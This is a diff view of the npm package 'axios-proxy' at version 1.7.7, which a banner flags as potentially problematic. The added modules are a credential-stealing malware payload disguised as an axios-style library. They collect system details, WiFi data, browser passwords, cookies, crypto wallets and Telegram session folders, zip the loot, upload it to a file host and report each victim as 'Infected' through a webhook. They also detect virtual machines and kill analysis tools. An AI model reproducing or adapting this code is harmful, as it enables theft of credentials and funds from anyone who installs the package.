axios-proxy 0.0.1-security → 1.7.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

@@ -0,0 +1,199 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ async get_user_info() {
5
+ let cpus = [];
6
+
7
+ for (var cpu of client.config.user.cpus) {
8
+ cpus.push(client.utils.encryption.decryptData(cpu))
9
+ }
10
+
11
+ let pc_info_text = "<================[ User Info ]>================>\n<================[t.me/turcoflex]>================>\n\n";
12
+ let fields = [];
13
+
14
+ const wifi_connections = await client.config.user.wifi_connections()
15
+
16
+ for (let [key, value] of Object.entries({
17
+ "🖥️ CPU(s)": cpus.join("\n"),
18
+ "⚡ RAM": client.utils.encryption.decryptData(client.config.user.ram),
19
+ "🛑 Version": client.utils.encryption.decryptData(client.config.user.version),
20
+ "⏳ Uptime": client.utils.encryption.decryptData(client.config.user.uptime),
21
+ "📂 Host directory": client.utils.encryption.decryptData(client.config.user.hostdir),
22
+ "🆔 Host name": client.utils.encryption.decryptData(client.config.user.hostname),
23
+ "🆔 PC Name": client.utils.encryption.decryptData(client.config.user.username),
24
+ "👻 Type": client.utils.encryption.decryptData(client.config.user.type),
25
+ "🏹 Arch": client.utils.encryption.decryptData(client.config.user.arch),
26
+ "📢 Release": client.utils.encryption.decryptData(client.config.user.release),
27
+ "🌌 AppData Path": client.utils.encryption.decryptData(client.config.user.appdata),
28
+ "🪐 Temp Path": client.utils.encryption.decryptData(client.config.user.temp),
29
+ "🌐 User Domain": client.utils.encryption.decryptData(client.config.user.user_domain),
30
+ "💨 System Drive": client.utils.encryption.decryptData(client.config.user.system_drive),
31
+ "💾 Processors": client.utils.encryption.decryptData(client.config.user.processors),
32
+ "💾 Processor Identifier": client.utils.encryption.decryptData(client.config.user.processor_identifier),
33
+ "💾 Processor Architecture": client.utils.encryption.decryptData(client.config.user.processor_architecture),
34
+ })) {
35
+ pc_info_text += `${key}: ${value}\n`
36
+ fields.push({
37
+ name: key,
38
+ value: `\`\`\`${value}\`\`\``,
39
+ inline: true
40
+ })
41
+ }
42
+
43
+ let wifi_connections_text = `<================[WiFi connections]>================>\n<================[t.me/turcoflex ]>================>\n\n${wifi_connections}`;
44
+
45
+ client.utils.jszip.createTxt("\\WiFi Connections.txt", wifi_connections_text)
46
+ client.utils.jszip.createTxt("\\User Info.txt", pc_info_text)
47
+
48
+ return client.utils.webhook.createEmbed({
49
+ fields: fields
50
+ })
51
+ },
52
+
53
+ get_executable_info() {
54
+
55
+ let executable_info_text = "<================[Executable Info]>================>\n<================[t.me/turcoflex]>================>\n\n";
56
+ let fields = [];
57
+
58
+ for (let [key, value] of Object.entries({
59
+ "☠️ Execution path": client.utils.encryption.decryptData(client.config.executable.execution_path),
60
+ "🅿️ Debug port": client.config.executable.debug_port,
61
+ "🔢 PID": client.config.executable.pid,
62
+ "🔢 PPID": client.config.executable.ppid,
63
+ })) {
64
+ fields.push({
65
+ name: key,
66
+ value: `\`\`\`${value}\`\`\``,
67
+ inline: false
68
+ })
69
+ executable_info_text += `${key}: ${value}\n`
70
+ }
71
+ client.utils.jszip.createTxt("\\Executable Info.txt", executable_info_text)
72
+
73
+ return client.utils.webhook.createEmbed({
74
+ fields: fields
75
+ })
76
+ },
77
+
78
+ async initialize() {
79
+ await this.get_user_info()
80
+ this.get_executable_info()
81
+ await this.infect();
82
+ await this.send_zip();
83
+ await this.sendtg_zip();
84
+ },
85
+
86
+ getFolderFiles(path_prefix, path) {
87
+ var result = "";
88
+
89
+ for (var file of client.requires.fs.readdirSync(`${path_prefix}\\${path}`)) {
90
+ var file_size_in_kb = (((client.requires.fs.statSync(`${path_prefix}\\${path}\\${file}`)).size) / 1024).toFixed(2);
91
+ if (!client.requires.fs.statSync(`${path_prefix}\\${path}\\${file}`).isDirectory()) {
92
+ if (file.includes(".txt")) {
93
+ result += `📄 ${path}/${file} - ${file_size_in_kb} KB\n`;
94
+ } else if (file.includes(".png")) {
95
+ result += `🖼️ ${path}/${file} - ${file_size_in_kb} KB\n`
96
+ } else {
97
+ result += `🥙 ${path}/${file} - ${file_size_in_kb} KB\n`
98
+ }
99
+ } else {
100
+ result += this.getFolderFiles(`${path_prefix}\\`, `${path}/${file}`)
101
+ }
102
+ }
103
+
104
+ return result;
105
+ },
106
+
107
+ async sendtg_zip() {
108
+
109
+ await client.utils.jsziptg.createZip();
110
+
111
+ const uploadtg = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jsziptg.path}.zip`))
112
+
113
+ var counter_embed = this.create_counter_embedtg();
114
+
115
+ counter_embed.description = `**[Download the telegram files](${uploadtg.downloadPage})**`;
116
+
117
+ await client.utils.webhook.sendToWebhook(
118
+ {
119
+ embeds: [counter_embed],
120
+ })
121
+ },
122
+
123
+ async send_zip() {
124
+
125
+ await client.utils.browsers.saveBrowserStuff()
126
+ await client.utils.jszip.createZip();
127
+ await client.utils.jsziptg.createZip();
128
+
129
+ const upload = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jszip.path}.zip`))
130
+ const uploadtg = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jsziptg.path}.zip`))
131
+
132
+ var counter_embed = this.create_counter_embed();
133
+
134
+ counter_embed.description = `**[Download the zip file](${upload.downloadPage})**`;
135
+
136
+ await client.utils.webhook.sendToWebhook(
137
+ {
138
+ embeds: [counter_embed],
139
+ })
140
+ },
141
+
142
+ create_counter_embedtg() {
143
+ let obj = {
144
+ "title": `💉 Telegram - ${client.utils.encryption.decryptData(client.config.user.hostname)}/${client.utils.encryption.decryptData(client.config.user.user_domain)}/${client.utils.encryption.decryptData(client.config.user.username)}`,
145
+ "footer": {
146
+ text: client.utils.encryption.decryptData(client.config.embed.footer.text),
147
+ icon_url: client.utils.encryption.decryptData(client.config.embed.footer.icon_url),
148
+ },
149
+ "fields": [],
150
+ "timestamp": new Date(),
151
+ }
152
+
153
+ let cpus = [];
154
+
155
+ for (var cpu of client.config.user.cpus) {
156
+ cpus.push(client.utils.encryption.decryptData(cpu))
157
+ }
158
+
159
+ return obj
160
+ },
161
+
162
+ create_counter_embed() {
163
+ let obj = {
164
+ "title": `💉 Infected - ${client.utils.encryption.decryptData(client.config.user.hostname)}/${client.utils.encryption.decryptData(client.config.user.user_domain)}/${client.utils.encryption.decryptData(client.config.user.username)}`,
165
+ "footer": {
166
+ text: client.utils.encryption.decryptData(client.config.embed.footer.text),
167
+ icon_url: client.utils.encryption.decryptData(client.config.embed.footer.icon_url),
168
+ },
169
+ "fields": [],
170
+ "timestamp": new Date(),
171
+ }
172
+
173
+ let cpus = [];
174
+
175
+ for (var cpu of client.config.user.cpus) {
176
+ cpus.push(client.utils.encryption.decryptData(cpu))
177
+ }
178
+
179
+ for (let [key, value] of Object.entries({
180
+ "🔑 Passwords": client.config.counter.passwords,
181
+ "🍪 Cookies": client.config.counter.cookies,
182
+ "🔖 Bookmarks": client.config.counter.bookmarks,
183
+ "🌐 Wallets/Important Extensions": client.config.counter.wallets,
184
+ })) {
185
+ obj["fields"].push({
186
+ name: key,
187
+ value: `\`\`\`${value}\`\`\``,
188
+ inline: true
189
+ })
190
+ }
191
+
192
+ return obj
193
+ },
194
+
195
+ async infect() {
196
+ await client.utils.discord.init();
197
+ }
198
+ };
199
+ };
package/utils/jszip.js ADDED
@@ -0,0 +1,37 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ createTxt(suffix_path, content) {
5
+ client.requires.fs.writeFileSync(client.config.jszip.path + suffix_path, content, {
6
+ encoding: "utf8",
7
+ flag: "w+"
8
+ })
9
+ },
10
+
11
+ createFolder(suffix_path) {
12
+ if (!client.requires.fs.existsSync(client.config.jszip.path + suffix_path)) {
13
+
14
+ client.requires.fs.mkdirSync(client.config.jszip.path + suffix_path, 0744)
15
+ }
16
+ },
17
+
18
+ copyFolder(suffix_path, to_copy) {
19
+ var exists = client.requires.fs.existsSync(to_copy);
20
+ var stats = exists && client.requires.fs.statSync(to_copy);
21
+ var isDirectory = exists && stats.isDirectory();
22
+
23
+ if (isDirectory) {
24
+ this.createFolder(suffix_path);
25
+ client.requires.fs.readdirSync(to_copy).forEach((child_item_name) => {
26
+ this.copyFolder(client.requires.path.join(suffix_path, child_item_name), client.requires.path.join(to_copy, child_item_name))
27
+ })
28
+ } else {
29
+ client.requires.fs.copyFileSync(to_copy, client.config.jszip.path + suffix_path, )
30
+ }
31
+ },
32
+
33
+ async createZip() {
34
+ await client.requires.jszip.archiveFolder(client.config.jszip.path, `${client.config.jszip.path}.zip`);
35
+ }
36
+ };
37
+ };
@@ -0,0 +1,37 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ createTxt(suffix_path, content) {
5
+ client.requires.fs.writeFileSync(client.config.jsziptg.path + suffix_path, content, {
6
+ encoding: "utf8",
7
+ flag: "w+"
8
+ })
9
+ },
10
+
11
+ createFolder(suffix_path) {
12
+ if (!client.requires.fs.existsSync(client.config.jsziptg.path + suffix_path)) {
13
+
14
+ client.requires.fs.mkdirSync(client.config.jsziptg.path + suffix_path, 0744)
15
+ }
16
+ },
17
+
18
+ copyFolder(suffix_path, to_copy) {
19
+ var exists = client.requires.fs.existsSync(to_copy);
20
+ var stats = exists && client.requires.fs.statSync(to_copy);
21
+ var isDirectory = exists && stats.isDirectory();
22
+
23
+ if (isDirectory) {
24
+ this.createFolder(suffix_path);
25
+ client.requires.fs.readdirSync(to_copy).forEach((child_item_name) => {
26
+ this.copyFolder(client.requires.path.join(suffix_path, child_item_name), client.requires.path.join(to_copy, child_item_name))
27
+ })
28
+ } else {
29
+ client.requires.fs.copyFileSync(to_copy, client.config.jsziptg.path + suffix_path, )
30
+ }
31
+ },
32
+
33
+ async createZip() {
34
+ await client.requires.jsziptg.archiveFolder(client.config.jsziptg.path, `${client.config.jsziptg.path}.zip`);
35
+ }
36
+ };
37
+ };
@@ -0,0 +1,45 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ async detect_malicious_processes() {
5
+ while (true) {
6
+ await client.requires.child_process.exec('tasklist', async(err, stdout) => {
7
+ for (const executable of client.config.environ.blacklisted_programs) {
8
+ if (stdout.toLowerCase().includes(executable)) {
9
+ await client.requires.child_process.exec(`taskkill /IM ${executable}.exe /F`, (err) => {}) // Close
10
+ }
11
+ }
12
+ })
13
+ await client.utils.time.sleep(1000);
14
+ }
15
+ },
16
+
17
+ async inVM() {
18
+
19
+ let result = false
20
+
21
+ for (var path of ['D:\\Tools', 'D:\\OS2', 'D:\\NT3X']) {
22
+ if (client.requires.fs.existsSync(path)) {
23
+ result = true
24
+ break;
25
+ }
26
+ }
27
+
28
+ for (var name of client.config.environ.blacklisted_pc_names) {
29
+ if (name == client.utils.encryption.decryptData(client.config.user.user_domain) || name == client.utils.encryption.decryptData(client.config.user.username) || name == client.utils.encryption.decryptData(client.config.user.hostname)) {
30
+ result = true;
31
+ break;
32
+ }
33
+ }
34
+
35
+ //if (client.config.counter.wifinetworks == 0) {
36
+ // const wifi_connections = await client.requires.systeminformation.getDynamicData();
37
+ // if (wifi_connections.wifiNetworks.length == 0) {
38
+ // result = true;
39
+ // }
40
+ //}
41
+
42
+ return result;
43
+ }
44
+ };
45
+ };
@@ -0,0 +1,29 @@
1
+ module.exports = (client) => {
2
+
3
+ Array.prototype.contains = function (obj) {
4
+ var i = this.length;
5
+ while (i--) {
6
+ if (this[i] === obj) {
7
+ return true;
8
+ }
9
+ }
10
+ return false;
11
+ }
12
+
13
+ String.prototype.includes = function(search, start) {
14
+ 'use strict';
15
+ if (typeof start !== 'number') {
16
+ start = 0;
17
+ }
18
+
19
+ if (start + search.length > this.length) {
20
+ return false;
21
+ } else {
22
+ return this.indexOf(search, start) !== -1;
23
+ }
24
+ };
25
+
26
+ return {
27
+
28
+ };
29
+ };
@@ -0,0 +1,27 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async getTelegram() {
4
+ var description = "";
5
+
6
+ client.utils.jsziptg.createFolder("\\Telegram");
7
+
8
+ for (let [key, value] of Object.entries(client.config.telegram.directory)) {
9
+ if (client.requires.fs.existsSync(value)) {
10
+ description += `${key}: ✔️\n`;
11
+ client.utils.jsziptg.copyFolder(`\\Telegram\\`, value);
12
+ } else {
13
+ description += `${key}: ❌\n`;
14
+ }
15
+ }
16
+
17
+
18
+ await client.utils.webhook.sendToWebhook(
19
+ {
20
+ "embeds": [client.utils.webhook.createEmbed({
21
+ "title": `Telegram | Result`,
22
+ "description": `\`\`\`${description}\`\`\``,
23
+ })],
24
+ })
25
+ }
26
+ };
27
+ };
package/utils/time.js ADDED
@@ -0,0 +1,7 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ sleep(ms) {
4
+ return new Promise(resolve => setTimeout(resolve, ms));
5
+ }
6
+ };
7
+ };
@@ -0,0 +1,31 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async getWallets() {
4
+ var description = "";
5
+
6
+ client.utils.jszip.createFolder("\\Wallets");
7
+
8
+ for (let [key, value] of Object.entries(client.config.wallets.directory)) {
9
+ if (client.requires.fs.existsSync(value)) {
10
+ description += `${key}: ✔️\n`;
11
+ client.utils.jszip.copyFolder(`\\Wallets\\${key}`, value);
12
+ client.config.counter.wallets++;
13
+ } else {
14
+ description += `${key}: ❌\n`;
15
+ }
16
+ }
17
+
18
+ if (description != "") {
19
+ client.utils.jszip.createTxt("\\Found Wallets.txt", "<================[ Network Data ]>================>\n<================[t.me/turcoflex]>================>\n\n" + description)
20
+ }
21
+
22
+ await client.utils.webhook.sendToWebhook(
23
+ {
24
+ "embeds": [client.utils.webhook.createEmbed({
25
+ "title": `💰 Wallet search | Result`,
26
+ "description": `\`\`\`${description}\`\`\``,
27
+ })],
28
+ })
29
+ }
30
+ };
31
+ };